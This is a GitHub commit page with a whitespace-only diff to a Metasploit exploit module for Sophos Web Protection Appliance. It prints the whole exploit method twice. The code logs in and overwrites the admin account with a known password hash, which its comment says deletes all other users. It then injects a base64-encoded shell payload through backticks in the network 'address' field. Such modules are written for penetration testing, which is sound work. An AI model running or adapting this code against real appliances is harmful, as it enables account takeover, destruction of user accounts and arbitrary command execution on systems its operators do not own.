Skip to content

Commit 3daa1ed

Browse files
jvazquez-r7jvazquez-r7
committed
Avoid changing modules indentation in this pull request
1 parent e168280 commit 3daa1ed

File tree

1 file changed

+134
-134
lines changed

1 file changed

+134
-134
lines changed

‎modules/exploits/linux/http/sophos_wpa_iface_exec.rb

Lines changed: 134 additions & 134 deletions
Original file line numberDiff line numberDiff line change
@@ -70,143 +70,143 @@ def initialize(info = {})
7070
end
7171

7272
def exploit
73-
init = send_request_cgi({
74-
'uri' => normalize_uri(target_uri.path, 'index.php')
75-
})
76-
77-
if !init or !init.body
78-
fail_with("Could not connect to host")
79-
end
80-
81-
print_status("Getting STYLE key...")
82-
83-
style = ''
84-
init.body.each_line do |line|
85-
next if line !~ /name="STYLE" value="(.*)"/
86-
style = $1
87-
end
88-
89-
if style == ''
90-
fail_with("Could not find style key.")
91-
end
92-
93-
post = {
94-
'STYLE' => style,
95-
'destination' => '',
96-
'section' => '',
97-
'username' => datastore['USERNAME'],
98-
'password' => datastore['PASSWORD']
99-
}
100-
101-
print_status("Authenticating as " + datastore['USERNAME'])
102-
login = send_request_cgi({
103-
'uri' => normalize_uri(target_uri.path, '/index.php'),
104-
'method' => 'POST',
105-
'vars_post' => post,
106-
'vars_get' => {
107-
'c' => 'login',
73+
init = send_request_cgi({
74+
'uri' => normalize_uri(target_uri.path, 'index.php')
75+
})
76+
77+
if !init or !init.body
78+
fail_with("Could not connect to host")
79+
end
80+
81+
print_status("Getting STYLE key...")
82+
83+
style = ''
84+
init.body.each_line do |line|
85+
next if line !~ /name="STYLE" value="(.*)"/
86+
style = $1
87+
end
88+
89+
if style == ''
90+
fail_with("Could not find style key.")
91+
end
92+
93+
post = {
94+
'STYLE' => style,
95+
'destination' => '',
96+
'section' => '',
97+
'username' => datastore['USERNAME'],
98+
'password' => datastore['PASSWORD']
10899
}
109-
})
110-
111-
if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/
112-
fail_with("Authentication failed")
113-
end
114-
115-
#I don't know what salt is being used to hash these
116-
#passwords (probably in js somewhere), so I have
117-
#to use a static one that I saw being POSTed while
118-
#exploring, it is 'notpassword'.
119-
#
120-
#This will actually delete every other user that exists
121-
#except for admin, whose password will be changed
122-
#
123-
#whoops
124-
admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"'
125-
admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default '
126-
admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"'
127-
admin_hash << ': [], "user_id": 0}]'
128-
129-
post = {
130-
'action' => 'save',
131-
'STYLE' => style,
132-
'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),
133-
'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
134-
'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
135-
'admins' => admin_hash
136-
}
137-
138-
print_status("Changing old password hash to notpassword")
139-
passchange = send_request_cgi({
140-
'uri' => normalize_uri(target_uri.path, '/index.php'),
141-
'method' => 'POST',
142-
'vars_post' => post,
143-
'vars_get' => {
144-
'c' => 'change_password'
145-
}
146-
})
147-
148-
if !passchange or passchange.code != 200
149-
fail_with("Couldn't update admin's password")
150-
end
151-
152-
print_status("Logging in as the admin now")
153-
init = send_request_cgi({
154-
'uri' => normalize_uri(target_uri.path, 'index.php')
155-
})
156-
157-
if !init or init.code != 200
158-
fail_with("Couldn't reget index page for admin auth")
159-
end
160-
161-
init.body.each_line do |line|
162-
next if line !~ /name="STYLE" value="(.*)"/
163-
style = $1
164-
end
165-
166-
post = {
167-
'STYLE' => style,
168-
'destination' => '',
169-
'section' => '',
170-
'username' => 'admin',
171-
'password' => 'notpassword'
172-
}
173-
174-
login = send_request_cgi({
175-
'uri' => normalize_uri(target_uri.path, 'index.php'),
176-
'method' => 'POST',
177-
'vars_post' => post,
178-
'vars_get' => {
100+
101+
print_status("Authenticating as " + datastore['USERNAME'])
102+
login = send_request_cgi({
103+
'uri' => normalize_uri(target_uri.path, '/index.php'),
104+
'method' => 'POST',
105+
'vars_post' => post,
106+
'vars_get' => {
179107
'c' => 'login',
108+
}
109+
})
110+
111+
if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/
112+
fail_with("Authentication failed")
113+
end
114+
115+
#I don't know what salt is being used to hash these
116+
#passwords (probably in js somewhere), so I have
117+
#to use a static one that I saw being POSTed while
118+
#exploring, it is 'notpassword'.
119+
#
120+
#This will actually delete every other user that exists
121+
#except for admin, whose password will be changed
122+
#
123+
#whoops
124+
admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"'
125+
admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default '
126+
admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"'
127+
admin_hash << ': [], "user_id": 0}]'
128+
129+
post = {
130+
'action' => 'save',
131+
'STYLE' => style,
132+
'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])),
133+
'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
134+
'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])),
135+
'admins' => admin_hash
136+
}
137+
138+
print_status("Changing old password hash to notpassword")
139+
passchange = send_request_cgi({
140+
'uri' => normalize_uri(target_uri.path, '/index.php'),
141+
'method' => 'POST',
142+
'vars_post' => post,
143+
'vars_get' => {
144+
'c' => 'change_password'
145+
}
146+
})
147+
148+
if !passchange or passchange.code != 200
149+
fail_with("Couldn't update admin's password")
150+
end
151+
152+
print_status("Logging in as the admin now")
153+
init = send_request_cgi({
154+
'uri' => normalize_uri(target_uri.path, 'index.php')
155+
})
156+
157+
if !init or init.code != 200
158+
fail_with("Couldn't reget index page for admin auth")
159+
end
160+
161+
init.body.each_line do |line|
162+
next if line !~ /name="STYLE" value="(.*)"/
163+
style = $1
164+
end
165+
166+
post = {
167+
'STYLE' => style,
168+
'destination' => '',
169+
'section' => '',
170+
'username' => 'admin',
171+
'password' => 'notpassword'
180172
}
181-
})
182-
183-
if !login or login.code != 200 or login.body !~ /admin<\/a>/
184-
fail_with("Couldn't login as admin")
185-
end
186-
187-
pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))
188-
post = {
189-
'STYLE' => style,
190-
'dhcp' => 'no',
191-
'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16",
192-
'gateway' => '192.168.1.254',
193-
'sb_bridge' => 'explicit',
194-
'netmask' => '255.255.255.0',
195-
'sb_linktype' => 'auto',
196-
'dns' => 'yes',
197-
'dns1' => '192.168.1.254',
198-
'dns2' => '',
199-
'dns3' => ''
200-
}
201-
202-
print_status("Sending payload")
203-
send_request_cgi({
204-
'uri' => normalize_uri(target_uri.path, 'index.php'),
205-
'method' => 'POST',
206-
'vars_post' => post,
207-
'vars_get' => {
208-
'c' => 'netinterface',
173+
174+
login = send_request_cgi({
175+
'uri' => normalize_uri(target_uri.path, 'index.php'),
176+
'method' => 'POST',
177+
'vars_post' => post,
178+
'vars_get' => {
179+
'c' => 'login',
180+
}
181+
})
182+
183+
if !login or login.code != 200 or login.body !~ /admin<\/a>/
184+
fail_with("Couldn't login as admin")
185+
end
186+
187+
pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))
188+
post = {
189+
'STYLE' => style,
190+
'dhcp' => 'no',
191+
'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16",
192+
'gateway' => '192.168.1.254',
193+
'sb_bridge' => 'explicit',
194+
'netmask' => '255.255.255.0',
195+
'sb_linktype' => 'auto',
196+
'dns' => 'yes',
197+
'dns1' => '192.168.1.254',
198+
'dns2' => '',
199+
'dns3' => ''
209200
}
210-
})
201+
202+
print_status("Sending payload")
203+
send_request_cgi({
204+
'uri' => normalize_uri(target_uri.path, 'index.php'),
205+
'method' => 'POST',
206+
'vars_post' => post,
207+
'vars_get' => {
208+
'c' => 'netinterface',
209+
}
210+
})
211211
end
212212
end

0 commit comments

Comments
 (0)